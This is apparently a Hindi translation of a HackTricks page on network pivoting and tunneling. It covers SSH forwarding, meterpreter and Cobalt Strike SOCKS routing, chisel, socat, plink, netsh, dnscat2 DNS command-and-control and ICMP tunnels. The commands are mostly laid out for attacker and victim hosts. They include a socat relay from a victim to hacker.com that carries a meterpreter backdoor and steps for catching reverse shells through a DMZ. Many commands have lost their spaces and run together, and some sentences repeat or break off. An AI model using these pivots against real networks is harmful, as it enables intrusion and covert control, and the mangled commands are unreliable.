क्या आप साइबर सुरक्षा कंपनी में काम करते हैं? क्या आप अपनी कंपनी को HackTricks में विज्ञापित देखना चाहते हैं? या क्या आप PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करना चाहते हैं? सब्सक्रिप्शन प्लान्स की जाँच करें!
ICMP और SYN स्कैन को सॉक्स प्रॉक्सी के माध्यम से टनल नहीं किया जा सकता है, इसलिए हमें पिंग खोज को अक्षम करना (-Pn) और इस काम के लिए TCP स्कैन (-sT) निर्दिष्ट करना होगा।
बैश
होस्ट -> जंप -> आंतरिक ए -> आंतरिक ब
# On the jump server connect the port 3333 to the 5985mknodbackpipep;nc-lvnp59850<backpipe|nc-lvnp33331>backpipe# On InternalA accessible from Jump and can access InternalB## Expose port 3333 and connect it to the winrm port of InternalBexec3<>/dev/tcp/internalB/5985exec4<>/dev/tcp/Jump/3333cat<&3>&4&cat<&4>&3&# From the host, you can now access InternalB from the Jump serverevil-winrm-uusername-iJump
SSH
SSH ग्राफिकल कनेक्शन (X)
ssh-Y-C<user>@<ip>#-Y is less secure but faster than -X
स्थानीय पोर्ट से पोर्ट
SSH सर्वर में नया पोर्ट खोलें --> अन्य पोर्ट
ssh-R0.0.0.0:10521:127.0.0.1:1521user@10.0.0.1#Local port 1521 accessible in port 10521 from everywhere
ssh-R0.0.0.0:10521:10.0.0.1:1521user@10.0.0.1#Remote port 1521 accessible in port 10521 from everywhere
पोर्ट2पोर्ट
स्थानीय पोर्ट --> प्रभावित होस्ट (SSH) --> तीसरा_बॉक्स:पोर्ट
ssh -i ssh_key <user>@<ip_compromised> -L <attacker_port>:<ip_victim>:<remote_port> [-p <ssh_port>] [-N -f] #This way the terminal is still in your host
#Examplesudossh-L631:<ip_victim>:631-N-f-l<username><ip_compromised>
पोर्ट2होस्टनेट (प्रॉक्सीचेन्स)
स्थानीय पोर्ट --> प्रभावित होस्ट (SSH) --> कहीं भी
ssh -f -N -D <attacker_port> <username>@<ip_compromised> #All sent to local port will exit through the compromised server (use as proxy)
रिवर्स पोर्ट फॉरवर्डिंग
यह आपके होस्ट के माध्यम से आंतरिक होस्ट से रिवर्स शैल्स प्राप्त करने के लिए डीएमजेड के माध्यम से उपयोगी है:
ssh-idmz_key-R<dmz_internal_ip>:443:0.0.0.0:7000root@10.129.203.111-vN# Now you can send a rev to dmz_internal_ip:443 and caputure it in localhost:7000# Note that port 443 must be open# Also, remmeber to edit the /etc/ssh/sshd_config file on Ubuntu systems# and change the line "GatewayPorts no" to "GatewayPorts yes"# to be able to make ssh listen in non internal interfaces in the victim (443 in this case)
VPN-Tunnel
आपको दोनों उपकरणों में रूट अधिकार चाहिए होते हैं (क्योंकि आप नए इंटरफेस बनाने जा रहे हैं) और sshd कॉन्फ़िग root लॉगिन की अनुमति देनी चाहिए:
PermitRootLogin yesPermitTunnel yes
sshroot@server-wany:any#This will create Tun interfaces in both devicesipaddradd1.1.1.2/32peer1.1.1.1devtun0#Client side VPN IPifconfigtun0up#Activate the client side network interfaceipaddradd1.1.1.1/32peer1.1.1.2devtun0#Server side VPN IPifconfigtun0up#Activate the server side network interface
आप एक subnetwork के माध्यम से host के माध्यम से सभी ट्रैफिक को ssh के माध्यम से tunnel कर सकते हैं।
उदाहरण के लिए, 10.10.10.0/24 को जाने वाले सभी ट्रैफिक को फॉरवर्ड करना।
स्थानीय पोर्ट --> प्रभावित होस्ट (सक्रिय सत्र) --> तीसरा_बॉक्स:पोर्ट
# Inside a meterpreter sessionportfwdadd-l<attacker_port>-p<Remote_port>-r<Remote_host>
SOCKS
SOCKS (Socket Secure) प्रॉक्सी सर्वर का उपयोग करके टनलिंग करने का एक प्रमुख तरीका है। यह TCP और UDP ट्राफिक को टनल करने की क्षमता रखता है।
background#meterpretersessionrouteadd<IP_victim><Netmask><Session># (ex: route add 10.10.10.14 255.255.255.0 8)useauxiliary/server/socks_proxyrun#Proxy port 1080 by defaultecho"socks4 127.0.0.1 1080">/etc/proxychains.conf#Proxychains
एक और तरीका:
background#meterpreter sessionusepost/multi/manage/autoroutesetSESSION<session_n>setSUBNET<New_net_ip>#Ex: set SUBNET 10.1.13.0setNETMASK<Netmask>runuseauxiliary/server/socks_proxysetVERSION4arun#Proxy port 1080 by defaultecho"socks4 127.0.0.1 1080">/etc/proxychains.conf#Proxychains
कोबाल्ट स्ट्राइक
सॉक्स प्रॉक्सी
टीमसर्वर में एक पोर्ट खोलें जो सभी इंटरफेस में सुन रहा हो और जिसका उपयोग बीकन के माध्यम से ट्रैफिक रूट करने के लिए किया जा सकता है।
beacon>socks1080[+] started SOCKS4a server on: 1080# Set port 1080 as proxy server in proxychains.confproxychainsnmap-n-Pn-sT-p445,3389,598510.10.17.25
rPort2Port
इस मामले में, पोर्ट बीकन होस्ट में खोला जाता है, टीम सर्वर में नहीं, और यातायात टीम सर्वर पर भेजा जाता है और फिर वहां से निर्दिष्ट होस्ट:पोर्ट पर।
इस मामले में, पोर्ट बीकन होस्ट में खोला जाता है, टीम सर्वर में नहीं, और ट्रैफिक को कोबाल्ट स्ट्राइक क्लाइंट (टीम सर्वर पर नहीं) भेजा जाता है और वहां से निर्दिष्ट होस्ट:पोर्ट को।
आप इसे https://github.com/jpillora/chisel के रिलीज़ पेज से डाउनलोड कर सकते हैं।
आपको क्लाइंट और सर्वर के लिए समान संस्करण का उपयोग करना होगा
socks
./chiselserver-p8080--reverse#Server -- Attacker./chisel-x64.execlient10.10.14.3:8080R:socks#Client -- Victim#And now you can use proxychains with port 1080 (default)./chiselserver-v-p8080--socks5#Server -- Victim (needs to have port 8080 exposed)./chiselclient-v10.10.10.10:8080socks#Attacker
#Create meterpreter backdoor to port 3333 and start msfconsole listener in that portattacker>socatOPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1TCP:127.0.0.1:3333
victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5
#Execute the meterpreter
आप एक गैर प्रमाणीकृत प्रॉक्सी को छलकरने के लिए इस पंक्ति को बजाय पीड़ित कोन्सोल में पिछली पंक्ति की बजाय निष्पादित कर सकते हैं:
# Execute these commands on both sidesFILENAME=socatsslopensslgenrsa-out $FILENAME.key1024opensslreq-new-key $FILENAME.key-x509-days3653-out $FILENAME.crtcat $FILENAME.key $FILENAME.crt>$FILENAME.pemchmod600 $FILENAME.key $FILENAME.pem
लोकल SSH पोर्ट (22) को हमलावर होस्ट के 443 पोर्ट से कनेक्ट करें
attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost
victim> while true; do socat TCP4:<attacker>:443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22
attacker>sshlocalhost-p2222-lwww-data-ivulnerable#Connects to the ssh of the victim
Plink.exe
यह एक कंसोल PuTTY संस्करण की तरह है (विकल्प एक ssh client के बहुत ही समान हैं)।
जैसे ही यह बाइनरी पीड़ित में निष्पादित होगा और यह एक ssh client है, हमें अपनी ssh सेवा और पोर्ट खोलने की आवश्यकता है ताकि हमें एक रिवर्स कनेक्शन हो सके। फिर, केवल स्थानीय रूप से पहुंचने योग्य पोर्ट को हमारी मशीन में एक पोर्ट पर फॉरवर्ड करने के लिए:
echo y | plink.exe -l <Our_valid_username> -pw <valid_password> [-p <port>] -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>
echoy|plink.exe-lroot-pwpassword [-p 2222]-R9090:127.0.0.1:909010.11.0.41#Local port 9090 to out port 9090
Windows netsh
पोर्ट2पोर्ट
आपको किसी भी पोर्ट के लिए स्थानीय व्यवस्थापक होना चाहिए
netshinterfaceportproxyaddv4tov4listenaddress=listenport=connectaddress=connectport=protocol=tcp# Example:netshinterfaceportproxyaddv4tov4listenaddress=0.0.0.0listenport=4444connectaddress=10.10.10.10connectport=4444# Check the port forward was created:netshinterfaceportproxyshowv4tov4# Delete port forwardnetshinterfaceportproxydeletev4tov4listenaddress=0.0.0.0listenport=4444
SocksOverRDP और Proxifier
आपको सिस्टम पर RDP एक्सेस होना चाहिए।
डाउनलोड करें:
SocksOverRDP x64 Binaries - यह टूल Windows की Remote Desktop Service सुविधा से Dynamic Virtual Channels (DVC) का उपयोग करता है। DVC RDP कनेक्शन के माध्यम से पैकेट्स को टनल करने के लिए जिम्मेदार है।
अपने क्लाइंट कंप्यूटर में SocksOverRDP-Plugin.dll इस तरह लोड करें:
# Load SocksOverRDP.dll using regsvr32.exeC:\SocksOverRDP-x64>regsvr32.exeSocksOverRDP-Plugin.dll
अब हम RDP का उपयोग करके विक्टिम से कनेक्ट कर सकते हैं, और हमें एक प्रॉम्प्ट मिलना चाहिए जिसमें कहा जाएगा कि SocksOverRDP प्लगइन सक्षम है, और यह 127.0.0.1:1080 पर सुनेगा।
RDP के माध्यम से कनेक्ट करें और विक्टिम मशीन में SocksOverRDP-Server.exe बाइनरी अपलोड और चलाएं:
C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
अब, अपनी मशीन (हमलावर) में पुष्टि करें कि पोर्ट 1080 सुन रहा है:
netstat -antb | findstr 1080
अब आप Proxifierका उपयोग करके उस पोर्ट के माध्यम से ट्रैफिक को प्रॉक्सी कर सकते हैं।
Windows GUI Apps को प्रॉक्सीफाई करें
आप Proxifier का उपयोग करके Windows GUI apps को प्रॉक्सी के माध्यम से नेविगेट कर सकते हैं।
Profile -> Proxy Servers में SOCKS सर्वर का IP और पोर्ट जोड़ें।
Profile -> Proxification Rules में प्रॉक्सीफाई करने के लिए कार्यक्रम का नाम और प्रॉक्सीफाई करना चाहते हुए IPs के संबंध में जोड़ें।
NTLM प्रॉक्सी बाईपास
पहले से उल्लिखित उपकरण: RpivotOpenVPN भी इसे बाईपास कर सकता है, इसे कॉन्फ़िगरेशन फ़ाइल में निम्नलिखित विकल्प सेट करके:
यह प्रॉक्सी के खिलाफ प्रमाणीकरण करता है और स्थानीय रूप से एक पोर्ट को बाँधता है जो आप निर्दिष्ट बाह्य सेवा की ओर फॉरवर्ड किया जाता है। फिर, आप इस पोर्ट के माध्यम से अपनी पसंद का उपकरण उपयोग कर सकते हैं।
उदाहरण के लिए जो पोर्ट 443 को फॉरवर्ड करता है।
Username Alice
Password P@ssw0rd
Domain CONTOSO.COM
Proxy 10.0.0.10:8080
Tunnel 2222:<attackers_machine>:443
अब, यदि आप उदाहरण के रूप में पीड़ित में SSH सेवा को पोर्ट 443 में सुनने के लिए सेट करते हैं। आप उससे आक्रमणकर्ता पोर्ट 2222 के माध्यम से कनेक्ट कर सकते हैं।
आप एक meterpreter भी उपयोग कर सकते हैं जो localhost:443 से कनेक्ट करता है और हमलावर पोर्ट 2222 में सुन रहा है।
DNS के माध्यम से सीएंडसी चैनल स्थापित करता है। इसके लिए रूट विशेषाधिकार की आवश्यकता नहीं है।
attacker>ruby./dnscat2.rbtunneldomain.comvictim>./dnscat2tunneldomain.com# If using it in an internal network for a CTF:attacker>rubydnscat2.rb--dnshost=10.10.10.10,port=53,domain=mydomain.local--no-cachevictim>./dnscat2--dnshost=10.10.10.10,port=5353
पॉवरशेल में
आप dnscat2-powershell का उपयोग कर सकते हैं ताकि पॉवरशेल में dnscat2 क्लाइंट चला सकें:
session-i<sessions_id>listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this bind 8080port in attacker host
प्रॉक्सीचेन्स DNS बदलें
प्रॉक्सीचेन्स gethostbyname libc कॉल को अंतर्गत करता है और tcp DNS अनुरोध को socks प्रॉक्सी के माध्यम से टनल करता है। डिफ़ॉल्ट रूप से प्रॉक्सीचेन्स द्वारा उपयोग किया जाने वाला DNS सर्वर 4.2.2.2 (हार्डकोडेड) है। इसे बदलने के लिए, फ़ाइल को संपादित करें: /usr/lib/proxychains3/proxyresolv और IP को बदलें। यदि आप Windows परिवेश में हैं तो आप डोमेन कंट्रोलर का IP सेट कर सकते हैं।
दोनों सिस्टम में टन एडाप्टर बनाने और ICMP इको अनुरोधों का उपयोग करके उनके बीच डेटा टनल करने के लिए रूट की आवश्यकता है।
./hans-v-f-s1.1.1.1-pP@ssw0rd#Start listening (1.1.1.1 is IP of the new vpn connection)./hans-f-c<server_ip>-pP@ssw0rd-vping1.1.1.100#After a successful connection, the victim will be in the 1.1.1.100
# Generate itsudo./autogen.sh# Server -- victim (needs to be able to receive ICMP)sudoptunnel-ng# Client - Attackersudoptunnel-ng-p<server_ip>-l<listen_port>-r<dest_ip>-R<dest_port># Try to connect with SSH through ICMP tunnelssh-p2222-luser127.0.0.1# Create a socks proxy through the SSH connection through the ICMP tunnelssh-D9050-p2222-luser127.0.0.1
ngrok
ngrok एक उपकरण है जो इंटरनेट में समाधानों को एक कमांड लाइन में उजागर करने के लिए है।एक्सपोजिशन URI की तरह हैं:UID.ngrok.io
स्थापना
एक खाता बनाएं: https://ngrok.com/signup
क्लाइंट डाउनलोड:
tar xvzf ~/Downloads/ngrok-v3-stable-linux-amd64.tgz -C /usr/local/bin
chmod a+x ./ngrok
# Init configuration, with your token
./ngrok config edit
क्या आप साइबर सुरक्षा कंपनी में काम करते हैं? क्या आप अपनी कंपनी का विज्ञापन HackTricks में देखना चाहते हैं? या क्या आप PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करना चाहते हैं? सब्सक्रिप्शन प्लान्स की जाँच करें!